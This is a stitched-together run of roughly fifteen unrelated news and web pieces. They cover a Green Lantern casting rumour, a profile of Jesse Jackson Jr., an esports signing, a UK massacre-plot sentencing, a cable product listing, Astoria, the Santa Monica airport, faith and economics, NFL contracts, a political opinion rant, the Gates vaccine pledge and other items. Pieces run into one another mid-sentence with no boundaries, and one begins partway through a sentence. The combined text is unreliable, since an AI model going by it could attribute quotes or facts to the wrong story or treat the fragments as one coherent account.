A Twitter feed posted a "casting alert" that Jamie Dornan is in talks with Warner Bros. Pictures and director Zack Snyder for Green Lantern.
It's obviously unknown if the information is legit, but Jamie Dornan is said to possibly be getting replaced on the Fifty Shades of Grey franchise. Maybe Jamie Dornan is going to play the new Green Lantern Hal Jordan for Zack Snyder in Justice League?
It is possible that Jamie Dornan could still sitck with the Fifty Shades franchise and play Green Lantern at the same time as he could film small cameo roles for Justice League and wouldn't be needed for the Green Lantern Corps movie until 2019 or 2020.
Per the norm, consider this a big rumor for now.
"Justice League" has a November 17, 2017 release directed by Zack Snyder starring Ben Affleck as Batman, Henry Cavill as Superman, Gal Gadot as Wonder Woman, Jason Momoa as Aquaman, Ezra Miller as The Flash, Ray Fisher as Cyborg, J.K. Simmons as Commissioner Gordon and Willem Dafoe an Atlantean, Nuidis Vulko.
Synopis:
Fueled by his restored faith in humanity and inspired by Superman’s selfless act, Bruce Wayne enlists the help of his newfound ally, Diana Prince, to face an even greater enemy. Together, Batman and Wonder Woman work quickly to find and recruit a team of metahumans to stand against this newly awakened threat. But despite the formation of this unprecedented league of heroes—Batman, Wonder Woman, Aquaman, Cyborg and The Flash—it may already be too late to save the planet from an assault of catastrophic proportions.Less than four years ago, Representative Jackson was eyeing the Senate seat that Mr. Obama would soon give up to go to the White House. A poll and local editorials backed him, and Mr. Jackson told everyone who would listen why he should get the seat, distributing talking points and templates for letters of support and, on occasion, carrying a three-ring binder that made his case.
The Senate was only one option. By then, he was regularly mentioned as a future mayor of Chicago — one of the few figures thought of as legitimate competition to Richard M. Daley, a fellow Democrat who ran the city for decades, his father before him. There was no rush, though, the thinking went: Mr. Jackson was young and had plenty of time.
Now, Mr. Jackson’s disappearance is only the latest in a series of blows to his image over the last four years, with many here, even allies, having begun alluding to his ascent in the past tense.
The events — including a continuing House ethics investigation into claims that a longtime supporter and friend offered sizable campaign contributions to Rod R. Blagojevich, then the governor, if he would appoint Mr. Jackson to the Senate seat being vacated by Mr. Obama — have called into question the Jackson family narrative that some Chicagoans had come to believe: that the workhorse son with the privileged education and crossover appeal might surpass the prominence of the father, who twice ran for president but was best known for mobilizing opinion outside establishment circles.
“He’s frozen,” Don Rose, a longtime Chicago political consultant, said of the younger Mr. Jackson, who is still widely referred to here as Junior. “He had a high potential. But the ability to go beyond Congress — to be mayor, to be senator — is pretty well dead, unless something changes and the clouds are removed.”
His Father’s Son
Father and son have always been close, in life and in politics, yet their personas are, in many ways, starkly different.
With education at St. Albans, the elite Washington school, a master’s degree in theology and a law degree, not to mention a nod as People magazine’s “Sexiest Politician” in 1997, the younger Mr. Jackson’s appeal crossed races.
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If his father was a passionate speaker, often moving around the world from one civil-rights-related cause to another, the younger, scholarly Mr. Jackson was a more traditional student of political strategy and statistics, who focused intently on his district and built political strength, in part by backing candidates for the Illinois Legislature and the City Council in Chicago.
“Around here, Reverend Jackson is seen as a national figure, and someone who can mobilize opinion on the South Side, but — to use a Chicago word — he’s not seen as someone with a lot of clout,” said Dick Simpson, a political scientist and former alderman. “Congressman Jackson has been building a case, trying to build a coalition.”
Mr. Jackson’s office declined to comment for this article, and his father declined requests to be interviewed as well.
Until this spring, Representative Jackson made a point of rarely missing votes in Congress, nearly to the point of obsession, said an associate who recalled him literally sprinting to cast a vote before it drew to a close.
In Congress, he was credited with securing nearly a billion dollars for projects in his district; pressing for constitutional amendments ensuring rights like voting, health care and housing; and this spring urging an increase in the minimum wage.
“One of the things I teased him about was that they always say his father is a tree shaker, not a jelly maker,” said Delmarie Cobb, a Chicago consultant and communications director in Mr. Jackson’s first Congressional race, referring to a phrase the senior Mr. Jackson had been quoted as using about himself.
“The idea now was, you need to roll up your sleeves and be a jelly maker,” Ms. Cobb said of the congressman, recalling suggestions that he could be “Jesse Plus — everything Jesse has, plus you’ll be a hard worker.”
Still, in his earliest political years, the son benefited significantly from his connection to his famous father.
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After working as a national field organizer for Rainbow PUSH, Mr. Jackson was only 30 and had never held political office in 1995 when he sought a Congressional seat among a competitive field with older, more seasoned opponents, including Emil Jones Jr., a product of Chicago’s political machine and the Democrats’ leader in the State Senate. Campaign buttons in that first race, offering a not-so-subtle reminder of the father-son link, read: “A new generation.”
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In that first race, the elder Mr. Jackson could be seen out on the city’s South Side, in his son’s would-be Congressional district, shaking hands, signing autographs and proudly urging voters to remember his son at the ballot box. In 1988, the younger Mr. Jackson introduced his father, at the end of a second presidential bid, at the Democratic National Convention as “a man who fights against the odds, who lives the odds, our dad, Jesse Jackson.”
Yet, the younger Mr. Jackson’s former advisers said he always realized that the link carried benefits and complications, saying at times, “I’m my father’s son, and there are some things I get credit for and shouldn’t, and there are some things I get blamed for and shouldn’t.”
The Second Congressional District of Illinois includes parts of the predominantly black South Side, but also southern suburbs and a sizable population that was white or Hispanic and had grown weary of politicians after Mel Reynolds, Mr. Jackson’s predecessor who resigned after being convicted of having sex with a teenage girl. So Mr. Jackson reached for a wide audience. Aides recall him giving some campaign speeches in English and then in Spanish, drawing note from Latino voters.
“You saw the same thing in him that you would see in Barack Obama,” said Hermene D. Hartman, the publisher of N’Digo magazine who assisted on the 1995 campaign. “It was the same newness, freshness, difference, change. That’s very politically sexy. He was the new wave.”
That wave, said Representative Danny K. Davis, a fellow Democrat here, seemed limitless. “He was smart, charismatic, articulate, pedigreed,” Mr. Davis said. “And so, there was nothing that could stand in the way, quite frankly, of this being a natural for higher office.”
Trouble Surfaces
By the end of 2008, though, Representative Jackson suddenly found himself in the middle of a political storm. After Mr. Obama won the presidential election, the appointment of a successor to the Senate was left to Governor Blagojevich, who is now in federal prison after being convicted of trying to trade the appointment for something of value.
The accusations against Mr. Blagojevich included claims that he discussed sizable campaign donations from Raghuveer Nayak, a longtime supporter and friend of Mr. Jackson and his family, in exchange for appointing Mr. Jackson. Mr. Jackson came to be known as Senate Candidate No. 5 in the criminal complaint against Mr. Blagojevich — a complaint that Mr. Jackson and his father discussed in a phone call on the day of the arrest, documents show, even conferencing in Mr. Nayak at one point.
Mr. Jackson, who had openly sought the Senate job, has repeatedly denied any knowledge of deal-making or payoff plans and has not been charged in the case. If Mr. Nayak was offering millions of dollars to appoint Mr. Jackson, Mr. Jackson knew nothing about it, he has said. Still, the House ethics inquiry continues.
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Then came revelations of a relationship with a woman in Washington, and Mr. Jackson’s wife, Sandi, an alderman on the Chicago City Council, acknowledged a rough period in their marriage.
Since Mr. Jackson disappeared from public view last month, Ms. Jackson has said little, telling a scrum of reporters not long ago, “I think it’s important to say that I love my husband very much, that’s the first thing.” She added, “The second thing is as a wife, my primary concern is that of my children — just want to make sure that they’re taken care of and provided for.”
Endless Speculation
That has left much to speculation — endless parsing of the brief, official words released by Mr. Jackson’s office and an inconclusive rehashing of his medical history, including a weight-loss surgery in 2004 after a 100-pound weight gain left Mr. Jackson at 310 pounds, according to The Hill, and a wrenched back in 2005 that required pain medication, according to Chicago magazine.
In the latest statement from Mr. Jackson’s office, on Wednesday, his aides took care to note that Mr. Jackson was not being treated for alcohol or substance abuse — some among the many rumors floating about. The statement did not disclose where Mr. Jackson is being treated or the name of his doctor, citing a need to protect his privacy.
“He is responding positively to treatment and is expected to make a full recovery,” the statement said. It offered no details of Mr. Jackson’s mood disorder, a category of mental illnesses that includes major depressive and bipolar disorders, according to the National Institutes of Health.
Before the 2007 election for mayor of Chicago, Mr. Jackson gave serious consideration to running, several former advisers said. While Mayor Richard M. Daley was viewed as so unbeatable that many referred to him as “Mayor for Life,” Mr. Jackson was seen as one of the few people who might be able to defeat him.
Strategy meetings were called. So were large donors. But then Mr. Jackson decided not to pursue it that year, and by 2011, when Mr. Daley retired, few people even brought up Mr. Jackson’s name.
For now, he seems in control of his Congressional seat, as long as he wants it. After running one of his most energetic, intense campaigns in years, Mr. Jackson in March easily held off a serious Democratic primary challenge from Debbie Halvorson, who had served in Congress, and has been widely expected to win the general election in the strongly Democratic district. His supporters say that his political future remains bright and that the clouds of recent years will ultimately amount, in Ms. Hartman’s words, to “a hiccup.” Still, questions are looming.
“We need to keep him and his family in our thoughts and prayers,” Brian Woodworth, Mr. Jackson’s little-known Republican opponent, said last week. “But there’s a policy issue here as well, and that’s that there needs to be more information for the voters. There’s too much there that says, what’s going on?”
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At the Rainbow PUSH conference at a downtown hotel on Wednesday afternoon, a pack of reporters pursued the elder Mr. Jackson, seeking insights about his son’s medical state. Mr. Jackson, 70, never known to avoid the television cameras, ignored them, disappearing behind a curtain. Exiting through a back kitchen area, past racks of dirty dishes, he answered no questions. “No, no,” he said before climbing into a service elevator.Method welcomes Counter-Strike: Global Offensive team
Originally Posted by Zachary 'Eley' Stauffer Originally Posted by The team and I are very excited to announce joining the Method family. Being the first CS:GO team to represent this amazing organization is a special opporunity and we will work hard to meet and exceed expectations. I would like to thank everyone who has supported us thus far and continue to support us. We have finally found a home and now can just focus on becoming the best team we can be. Expect big things from Method CS:GO!
Originally Posted by Samuel 'SileNt3m' Portillo Originally Posted by We are extremely happy to announce that we will be joining Method. After many many meetings, our team overall felt very confident that Method is the best option for our team. Now with the full support of Method we can put all our time and focus on becoming a top team.
Originally Posted by Sascha 'Rak' Steffens Originally Posted by There was a big smile on my face when ESL One Katowice reached over 1 million concurrent viewers in March this year. CS was my entry into online gaming and it is just incredible to see the games' community being bigger than ever. We are thrilled to have such a talented CS:GO team join us and we'll do our best to support them.
Originally Posted by Alan 'Hotted' Widmann, Method CS:GO Manager Originally Posted by I'm very excited to be part of Method's CS:GO division. Paradox is a great addition to the organization. They proved to have incredible potential and I'm looking forward to see them grow as a team.
It has been an eventful year for Method so far and we are excited to make yet another big announcement.From today, the Counter-Strike: Global Offensive team Paradox (formerly team Fenix) will be playing under the Method banner. The Method CS:GO roster is as follows:SamuelPortillo Twitch JustinOrtiz Twitch ConnorRoberts Twitch ZacharyStauffer Twitch MichaelJaber Twitch AlanWidmann Twitch Twitter (Manager)-----------------------------------------------------------------------------------------------------------------------------As a gamer it is difficult to not know about Counter-Strike. What started as a mod for Half-Life in 1999 quickly developed into the one of the most popular game played online. Today, more than a decade and a half later, Counter-Strike's latest installment 'Global Offensive' is the fastest growing eSport and had over 6 million people actively play the game last month.Method also welcomes Alan 'Hotted' Widmann as our CS:GO Manager. He has played an integral role in the events that lead to this annoucement.We are looking forward to cheering on the team in competitions such as the ESL ESEA Pro League, CEVO Pro League and the upcoming RGN Pro Series. To stay up to date with Method and our new CS:GO division, you can follow us via: @Methodeu on Twitter and methodeu on Facebook.Image copyright PA Image caption Liam Lyburd was found guilty at Newcastle Crown Court of possessing weapons with intent to endanger life
A 19-year-old who plotted a massacre at his former college has been jailed for life with a minimum term of eight years.
Liam Lyburd was convicted at Newcastle Crown Court of possessing an arsenal of weapons including pipe bombs and a gun, with intent to endanger life.
The judge said his threats showed he was a significant risk to the public.
In a deleted file recovered from his computer, Lyburd wrote: "People will die, there's no question about that."
Jurors heard the "cold and detached" teenager held a grudge against his former college after he was kicked off his course for bad behaviour.
Image copyright CPS Image caption Sourcing a gun online was like "buying chocolate", Lyburd said
Lyburd, of Hamilton Place, Newcastle, said he had not intended to hurt anyone at Newcastle College.
Police found a cache of weapons, a "kill bag" containing overalls, a mask, boots and pipe bombs at his home after they were tipped off by a member of the public concerned about his Facebook postings talking about launching a murderous attack.
The bag also contained a Glock pistol and 94 hollow-tipped expanding bullets.
Officers recovered webcam pictures Lyburd took of himself dressed for combat, armed with the pistol and brandishing a knife.
In the deleted file he said: "You people ruined my whole life, don't expect me to show mercy today. No-one disrespects me and gets away with it.
"I'll teach you people a little lesson on respect with my 9mm jacketed hollow points."
Newcastle College
Image copyright Google
The main campus, Rye Hill, is located within a mile of the city's central train station, St James' Park football ground and a number of shops, homes, hotels and businesses
The college has more than 20,000 students
Det Supt George Duff, who led the investigation, said Lyburd was a "dangerous man who intended to cause serious harm".
"He at no point has shown any remorse for what he intended to do," he said.
Judge Paul Sloan QC commended the member of the public who alerted police to Lyburd's behaviour.
He told Lyburd that, if they had not, "it was only a matter of time before you would have put your plan into action".
"Your emotional coldness and detachment and your lack of empathy to others was self-evident," he said.
Image copyright CPS Image caption Webcam pictures were found of Lyburd armed and dressed for combat
Lyburd was warned the psychiatric evidence suggested it might be a "very long time indeed" before he is considered safe enough to be released.
He laughed as he was taken away by police, telling officers they had saved lives and prevented what would have otherwise been a massacre at the college.Uses Luma as sync. Works on PVM, and (some) Extron switch boxes outputting to many devices. If outputting to a BVM monitor or other device requiring csync, you need a version with a sync stripper.
Most extron switchboxes used by the community *require* csync, some monitors also require it (most PVMs work fine with other sync methods.) As a rule of thumb Crosspoints all require it, so this cable will not work on any of those. Read your manual if unsure, it will be available online. This cable uses Luma as sync and only (as far as we know, there may be others) works on the following Extron switchboxes and we have confirmed this in testing.
SW4RGBHVA
SW6RGBHVA
Uses 220uf capacitors for use with Playstation 1. For a Playstation 2 cable or dual purpose cable please see our other BNC listings.
If any item is sold out it will be available next morning Monday to Friday. Demand is very high and items selling out later in the day is common |
weekly and new businesses and banks on Astoria's shopping streets. ''Now you can't get a spot on the commercial strips,'' he said.
What has sustained Astoria has been the creative energy brought by the immigrants. Germans built the gold standard in pianos at Steinway; Italians made violins. The J. D'Addario Company, a Long Island musical string maker, began in a tiny garage behind a home on 14th Street in 1918. Local celebrities in addition to Mr. Bennett include Christopher Walken and the late Ethel Merman.
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The village rivaled Hollywood in cinema's early days. Astoria Studios, established in 1920, accounted for a quarter of all films produced in the country in 1921 to 1927, with stars like Rudolph Valentino and the Marx Brothers on the lot. Later on, ''Sesame Street,'' Woody Allen's ''Radio Days'' and hits starring Harrison Ford, Meryl Streep and Al Pacino have been filmed at what is now Kaufman-Astoria Studios, which also has a multiplex movie theater.
Astoria has become a tourist destination, with the film studios, the American Museum of the Moving Image, the Isamu Noguchi Garden Museum (temporarily in Sunnyside), Socrates Sculpture Park, St. Demetrius Cathedral, Bohemian Hall, the Lent Homestead and 300-year-old Riker Burial Ground among the attractions.
The best way to explore Astoria is to wander, pausing in Greek food shops to consider 16 kinds of olives and 12 varieties of olive oil, sampling apple tobacco filtered through a water pipe in an Arab cafe on upper Steinway and buying freshly made mozzarella. When feet and palate grow tired, contemplate the statue of Socrates in Athens Park at 30th Street and 30th Avenue and see a microcosm of Astoria and America chatting away on the benches.The Santa Monica City Council voted 7-0 to close the city's airport as soon as legally possible on Tuesday, despite 34 public commenters who largely expressed their desire for the airport to stay put — and the fact that this is their third attempt to shut down the airport, according to the L.A. Times.
The city owns the 227 acres of land that the airport sits on, but the FAA says that federal agreements require the airport to be kept open until at least 2023, according to the Times. The FAA ruled earlier this month, once again, that the airport has to be kept open — it's a requirement of a federal grant it received in 2003.
Santa Monica faces several additional legal challenges, according to the Times. One trial set for August 2017 aims to free the airport from its obligations so that it can be shut down.
City Manager Rick Cole addressed council members at Tuesday's meeting, saying that the resolution to close the airport would be a historic step forward for the city.
“It is not the first step, nor will it be the last in the journey towards local control of Santa Monica Airport," Cole said.
The city's senior adviser on airport affairs Nelson Hernandez laid out the airport's impact, arguing that the airport adversely impacts the local environment with noise and air pollution, as well as posing a threat to public safety.
“The City Council has decided that the airport is basically antiquated and it no longer is a community asset,” Hernandez told KPCC.
The council's resolution directed Cole's office to implement measures designed to reduce the airport's negative impact. They include designing a park to replace the airport, ensure that modern safety protocols are in place at the airport and phasing out the use of leaded fuel in aircrafts that fly there, Hernandez said.
The city manager's office was also directed to file a petition with the Federal Aviation Administration to shave the runway by 2,000 feet. Hernandez said that piece of land isn't part of any federal obligation.
Another reason for the council to adopt the resolution, according to Hernandez: It would reflect what the residents of Santa Monica voted for on a 2014 ballot. The measure was intended to give the City Council the power to make decisions regarding the fate of the airfield and received 60 percent of the vote, the L.A. Times reported. The measure only allows the space to be used for parks, open space or recreational facilities.
However, most of those who spoke during public comment opposed the resolution. One Santa Monica resident used his public comment to state that he believed there wasn't a real reason to shut it down — except for special interests in the land. Other commentators, some of whom were pilots, used the time to say that the airport was a beloved space in the city.Christians Debate: Was Jesus For Small Government?
Enlarge this image toggle caption Jacquelyn Martin/AP Jacquelyn Martin/AP
What would Jesus do with the U.S. economy?
That's a matter of fierce debate among Christians — with conservatives promoting a small-government Jesus and liberals seeing Jesus as an advocate for the poor.
After the House passed its budget last month, liberal religious leaders said the Republican plan, which lowered taxes and cut services to the poor, was an affront to the Gospel — and particularly Jesus' command to care for the poor.
Not so, says Wisconsin Republican Rep. Paul Ryan, who chairs the House Budget Committee. He told Christian Broadcasting Network last week that it was his Catholic faith that helped shape the budget plan. In his view, the Catholic principle of subsidiarity suggests the government should have little role in helping the poor.
"Through our civic organizations, through our churches, through our charities — through all of our different groups where we interact with people as a community — that's how we advance the common good," Ryan said.
Through our civic organizations, through our churches, through our charities — through all of our different groups where we interact with people as a community — that's how we advance the common good.
The best thing that government can do, he said, is get out of the way.
But Stephen Schneck, a political scientist at Catholic University, says he thinks Ryan is "completely missing the boat and not understanding the real heart, the real core, of Catholic social teaching."
Schneck says Catholicism sees everyone as part of a mystical body, serving one another. True, the New Testament does not specifically speak to the government's role. "But charities and individuals and churches can't do it all," Schneck says. "When charities are already stretched to their limit, Catholic social teaching expects the state to step up and to fill that gap."
God And Government
Peter Montgomery at People for the American Way says conservative evangelicals have been arguing for years that the Bible favors a free-market system. But since President Obama was elected, he says, they have shifted into high gear.
"They are finding biblical justification for opposition to progressive taxation, opposition to unions and collective bargaining, opposition to the minimum wage, opposition even to social welfare spending and Social Security," he says.
Because, in their view, he says, God intends the government to have a minimal role in society. You hear echoes of that from megachurch pastor Rick Warren, who was asked about the budget recently on ABC's This Week.
They are finding biblical justification for opposition to progressive taxation, opposition to unions and collective bargaining, opposition to the minimum wage, opposition even to social welfare spending and Social Security.
"The primary purpose of government is to keep the peace, protect the citizens, provide opportunity," Warren said. "And when we start getting into all kinds of other things, I think we invite greater control. And I'm fundamentally about freedom."
Evangelicals cite the book of Romans, which is one of only a few places in the New Testament that refer to civil government. Then there's the conservative resistance to taxation, which some say violates the Eighth Commandment: "Thou shalt not steal."
Richard Land at the Southern Baptist Convention says of course Jesus paid his taxes and advised followers to do the same. But, he says, "the Bible tells us that socialism and neosocialism never worked. Confiscatory tax rates never work."
The Bible never mentions socialism, obviously, but Land says the whole of Scripture says that people are sinful and selfish and, therefore, "people aren't going to work very hard and very productively unless they get to keep a substantial portion of that which they make for them and for their families."
Does The Bible Promote Capitalism?
For other religious conservatives, the Bible is a blueprint for robust capitalism. Recently, on his radio program WallBuilders, David Barton and a guest discussed Jesus' parable of the vineyard owner. In it, the owner pays the worker he hires at the end of the day the same wage as he pays the one who begins work in the morning. Many theologians have long interpreted this as God's grace being available right up to the last minute, but Barton sees the parable as a bar to collective bargaining.
"Where were unions in all this? The contract is between an employer and an employee. It's not between a group," Barton said. "He went out and hired individually the guys he wanted to work."
Schneck says many Christians would not recognize this Gospel — and he says there are more biblical verses about feeding the hungry and taking care of the least fortunate. Schneck agrees that the Bible encourages initiative and hard work. But he says theologians through the ages have said there must be a balance.
"Pope after pope after pope argued that we're called to be more than market creatures. We're called, in fact, to always bear in mind the common good and our responsibilities to others," he says.
But we can probably expect both parties to claim Jesus as their favorite economist in the months to come.Media playback is unsupported on your device Media caption The pie at night: A camera is tracking the pastry's amazing journey
A meat and potato pie has been sent "into space" attached to a weather balloon.
The pioneering delicacy was launched from Roby Mill, Wigan, at about 11:30 GMT ahead of the World Pie Eating Championship next week.
The aim is to see if its journey up to 100,000ft (30km) changes the molecular structure of the pie making it quicker to eat.
It is believed this is the first pie to be launched into the stratosphere.
Space enthusiasts from Sheffield-based SentIntoSpace have attached a camera and tracking equipment to the weather balloon and will analyse the data and edit video of its journey.
'Pie's the limit'
Bill Kenyon of Ultimate Purveyors from St Helens, who were commissioned to make the pie, said: "This is the first step to enable mankind to consume pies with more elegance and comfort.
"Neither the sky, nor the pie, should be the limit."
He added: "This pie will be tested to the extreme. It's structural integrity will be tested against the potential rigours of being served by a grumpy pie lady from Wigan or being transported for delivery in a pie van that hits a pothole in Hindley."
It is thought the pie will freeze on its ascent and will be cooked as it reaches "massive speeds" on re-entry.
The World Pie Eating Championships 2016 is to be held at Harry's Bar, Wallgate Wigan, on 20 December.Julio Jones (11)
Atlanta Falcons wide receiver Julio Jones led the NFC in receptions and receiving yards during the 2014 season.
(AP Photo)
If the Atlanta Falcons are waiting for the NFL's current market price for marquee wide receivers to be set before offering Julio Jones a contract, they either will know the going-rate on Wednesday or will have to become the team to set the bar if they want to sign him before the season starts.
ESPN reported Atlanta and Jones' agent had not had talks on a contract extension for the former Alabama star, who led the NFC in receptions and receiving yards last season.
Jones is one of four Pro Bowl receivers in line for a new contract.
Dez Bryant of the Dallas Cowboys and Demaryius Thomas of the Denver Broncos had the franchise tag placed on them by their NFL teams in March. Because of that, if they don't have new deal by 3 p.m. CDT Wednesday, Bryant and Thomas can't sign contract extensions until the NFL year ends next March.
A.J. Green of the Cincinnati Bengals is in the same situation as Jones: He had the fifth-year option on his contract picked up by his team for the 2015 season. Green said earlier this week that he'll play out his contract and wait until the end of the season to work on a new deal.
Calvin Johnson of the Detroit Lions has the biggest wide receiver contract in the NFL. Signed in 2012 and somewhat reflective of a different salary structure in the NFL, Johnson's contract is for $113,450,000 over seven years. It's also the most lucrative wide receiver contract in terms of annual value at $16,207,143 and in guaranteed money at $48,750,000. Johnson is a five-time Pro Bowler and three-time All-Pro.
The No. 2 contract to Johnson's among NFL wide receivers belongs to Mike Wallace of the Minnesota Vikings. The five-year deal signed in 2013 is for $60 million - a $12-million-per-year average - with $30 million guaranteed. Wallace is a one-time Pro Bowler who'll be playing for his third team in four years in 2015.
The franchise-tag value for wide receivers in 2015 is 8.949 percent of the salary cap -- $12,823,000. That's what Bryant and Thomas will receive in 2015 unless they sign new deals on Wednesday. If they don't, the receivers will have to sign the franchise tender if they want to play.
Bryant tweeted on Monday he won't report to training camp if he doesn't get a new contract, and ESPN reported the wide receiver had told the Cowboys he'd skip regular-season games, too.
Denver and Thomas' representatives have exchanged contract proposals, according to reports, without reaching a deal. NFL.com reported on Tuesday not to rule out the possibility of Thomas' missing games.
ESPN also has reported that the NFL Players Association plans to file collusion charges against the Broncos and Cowboys if Thomas and Bryant don't sign contracts on Wednesday. Union officials think the teams discussed the contracts of the two receivers, which is not allowed by the NFL's Collective Bargaining Agreement.
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Green was taken by the Bengals two picks before the Falcons chose Jones with the sixth selection the 2011 NFL Draft. The fifth-year option on their four-year rookie contracts amounts to $10,176,000 for the 2015 season - the average of the 10 highest wide receiver salaries in 2014. Both players could be franchise-tag candidates in 2016 if the teams can't reach contract agreements with them.
RELATED: JULIO JONES ON WHY HE WON'T HOLD OUT: 'I WANT TO WIN'Santorum’s concession speech is the closest he’ll ever get to an “It Gets Better” video
Of all this President’s many progressive achievements—the Lilly Ledbetter Act, Student Loan Reform, Health Care Reform, pulling out of Iraq—the one that isn’t mentioned enough in the feeds I follow is the the ending of ‘Don’t Ask, Don’t Tell.’
The DADT compromise enacted during the Clinton Administration made the closeting of gays and lesbians policy for the US military. It sent a message that homosexuals needed to lie or risk losing everything.
In one of the last acts of the Democratic majorities in the House and Senate, this ridiculous policy was ended. And the President signed the bill into law. It was a long overdue yet historic achievement for decency and equality.
Two years later, as the weakest field of candidates most adults could imagine gathered to seek the GOP nomination, two candidates declared that they wanted to return to the dark days of DADT. Michele Bachmann, who apparently uses the policy to great success in her marriage, wanted it back, as did Rick Santorum. Most people chuckled because we assumed both were joke candidates. We were half right.
To Fred Phelps’ chagrin, Rick Santorum is America’s most famous homophobe. Under the premise that he is speaking for the big Homophobe in the Sky, Santorum has put together a record of unabashed anti-gay rhetoric that it even embarrasses Republicans. Santorum’s view of homosexuality is so backward and offensive that millions cheered as Dan Savage led a movement to tie Santorum’s Google search results to the filthiest word picture one would want to imagine.
Don’t get me wrong. All of our conservatives have barbarous policies, especially when it comes to women’s choices, war, health care and climate change. But when Dick Cheney, Howard Stern and a majority of all Americans are for gay marriage, the argument is over. And those who still argue do so to an increasingly smaller audience.
Rick Santorum’s record of saying ignorant, hateful things about gays and lesbians, his record of comparing the desire of two adults of any gender who want to be united under the law to every perversion he can imagine, it should disqualify him from a place in public discourse. (It would normally have if conservatives didn’t have an overwhelming desire to shame Mitt Romney.)
I’m not saying Santorum should be censored. In America you have a right to be a dick. But you have no right to expect to be rewarded for it.
Rick Santorum’s homophobia will not be acceptable in 2016. And the fact that it was in 2012 is a shame. And I’m sorry I didn’t do more to help make this country the kind of place where people exploit the fear of gays and lesbians are never given a national platform.
[CC image by smoMashup_]DAVOS, Switzerland (Reuters) - Bill and Melinda Gates said on Friday they would spend $10 billion over the next decade to develop and deliver vaccines, an increased commitment that reflects progress in the pipeline of products for immunizing children in the developing world.
Microsoft founder Bill Gates (L) and his wife Melinda attend a news conference at the World Economic Forum (WEF) in Davos January 29, 2010. REUTERS/Arnd Wiegmann
Over the past 10 years, the Microsoft co-founder’s charity has committed $4.5 billion to vaccines and has been instrumental in establishing the GAVI alliance, a public-private partnership that channels money for vaccines in poor countries.
By increasing immunization coverage in developing countries to 90 percent, it should be possible to prevent the deaths of 7.6 million children under five between 2010 and 2019, Gates told reporters at the World Economic Forum.
Margaret Chan, director-general of the World Health Organization described Gates’ commitment to vaccines as “unprecedented” and called on governments around the world and the private sector to match it with “unprecedented action.”
Vaccination rates have already climbed remarkably in recent years, with even a poor African country like Malawi now boasting coverage rates similar to those in many Western cities.
“Over the last 10 years, the success of both increased vaccine coverage and getting new vaccines out has been phenomenal,” Gates said.
More cash is now needed to make the most of new vaccines becoming available, including ones against severe diarrhea and pneumococcal disease from GlaxoSmithKline, Merck and Pfizer.
“We can take immunization to the next level, with the expanded uptake of new vaccines against major killers such as pneumonia and rotavirus diarrhea,” Chan said in a statement.
She said an extra two million deaths in children under five could be prevented by 2015 by widespread use of new vaccines and a 10 percent increase in global immunization coverage.
Further off, Glaxo is also in the final phase of testing a vaccine against malaria that Gates said could slash deaths from the mosquito-borne disease.
Gates warned against the risk of governments diverting foreign aid funding for health toward climate change, arguing that health should stay a top priority — not least because better health leads to a lower birth rate.
Curbing the globe’s population growth is critical for tackling global warming.Paul Ryan of Wisconsin on the second day of the Republican National Convention, July 19, 2016. (Photo: J. Scott Applewhite/AP)
House Speaker Paul Ryan isn’t walking back his support for Donald Trump’s campaign, but he said Thursday that he would continue to speak out when the GOP nominee’s remarks could harm the party.
In an interview with a Wisconsin radio station, Ryan said there were no “blank checks” for his support. But he added that Trump’s recent struggles were not enough to cause him to withdraw it.
“If I see a situation where our conservative principles are being distorted, I’m going to stand up for those conservative principles,” Ryan said on “The Jerry Bader Show” on WTAQ in Green Bay, Wis. “If I see and hear things that are wrong, I’m not going to sit by and say nothing because I think I have a duty as a Republican leader to defend Republican principles and our party brand. That’s what I said I would do when I endorsed him.”
The speaker has been critical of Trump’s feud with Khizr and Ghazala Khan, the parents of a Muslim American soldier killed in Iraq. The Khans spoke out against Trump at the Democratic National Convention, and Trump criticized them in response.
“You do nothing but honor Gold Star families, and if anyone earned the right to say whatever they want, it is Gold Star families,” Ryan said Thursday. “I thought [Trump’s] comments were … beyond the pale and I called it out … I don’t like doing this, but I will do this because I feel I have to.”
In a statement last week, Ryan said criticizing Gold Star families was unacceptable and that they deserved greater respect. Trump then told the Washington Post on Tuesday that he would not endorse Ryan in his GOP primary, saying he was “not quite there yet.”
“I like Paul, but these are horrible times for our country. We need very strong leadership. We need very, very strong leadership.”
The day before, Trump thanked Ryan’s opponent, businessman Paul Nehlen, for his support. The Wisconsin GOP primary is next Tuesday.
Thanks to @pnehlen for your kind words, very much appreciated. — Donald J. Trump (@realDonaldTrump) August 1, 2016
Trump has become embroiled in other controversies in recent days, including remarks he made about a Russian invasion of Ukraine and his claim that the election would be “rigged” against him.
Ryan said the party has to move beyond those missteps and focus its attention on the flaws of Democratic nominee Hillary Clinton.
“He’s had a pretty strange run since the convention.” Ryan said. “You would think that we want to be focusing on Hillary Clinton, on all of her deficiencies. She is such a weak candidate that one would think that we would be on offense against Hillary Clinton, and it is distressing that that’s not what we’re talking about these days”A Japanese amusement park faced a deluge of criticism after opening an ice skating rink featuring thousands of dead fish suspended in ice.
Space World, in the southwestern city of Kitakyushu, closed the aquarium-themed skating rink on Nov. 17 after an online campaign called the attraction, “immoral,” “cruel” and “disrespectful of life,” reports the Guardian.
The outcry began after a local TV report on the rink, which featured about 5,000 dead mackerel and other fish embedded in ice. Some of the frozen fish were positioned to spell out “hello,” while others formed arrows to guide skaters in the correct direction around the rink.
According to the newspaper Asahi Shimbun, Space World wanted visitors to “have a sense of sliding on the sea.” The amusement park’s website touted the rink as the first attraction of its kind in the world.
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In the face of mounting criticism, officials told Asahi Shimbun that the fish were already dead before they embedded them into the ice. “Misunderstanding spread on the Internet that the fish were frozen alive, but that was not the case. We should have explained more.”
The park plans to hold a memorial service for the fish next year.
Contact us at editors@time.com.The Detroit Pistons have passed on signing veteran center Jason Collins, according to a published report.
Sports Illustrated, which published Collins' co-authored April essay in which he announced he is gay, reported Detroit has elected not to sign Collins after recently working him out, citing an official in the team's front office.
ESPN.com's Ramona Shelburne and Marc Stein first reported earlier this month the Pistons had opened talks with Collins, who is the only openly gay male athlete in North America's four major team sports.
The Pistons have aggressively remade their roster since the end of last season, highlighted by the acquisitions of Josh Smith and Brandon Jennings. One guaranteed contract shy of the league's limit of 15, Detroit was initially said to be intrigued by the veteran know-how Collins possessed and pursued him as a potential insurance signing in support of its two blossoming big men, Greg Monroe and Andre Drummond.
The 34-year-old Collins continues to train in Los Angeles in hopes of finding a new team. League-wide interest has been scarce during the first two months of NBA free agency, but that was not wholly unexpected given Collins' age and recent employment history.
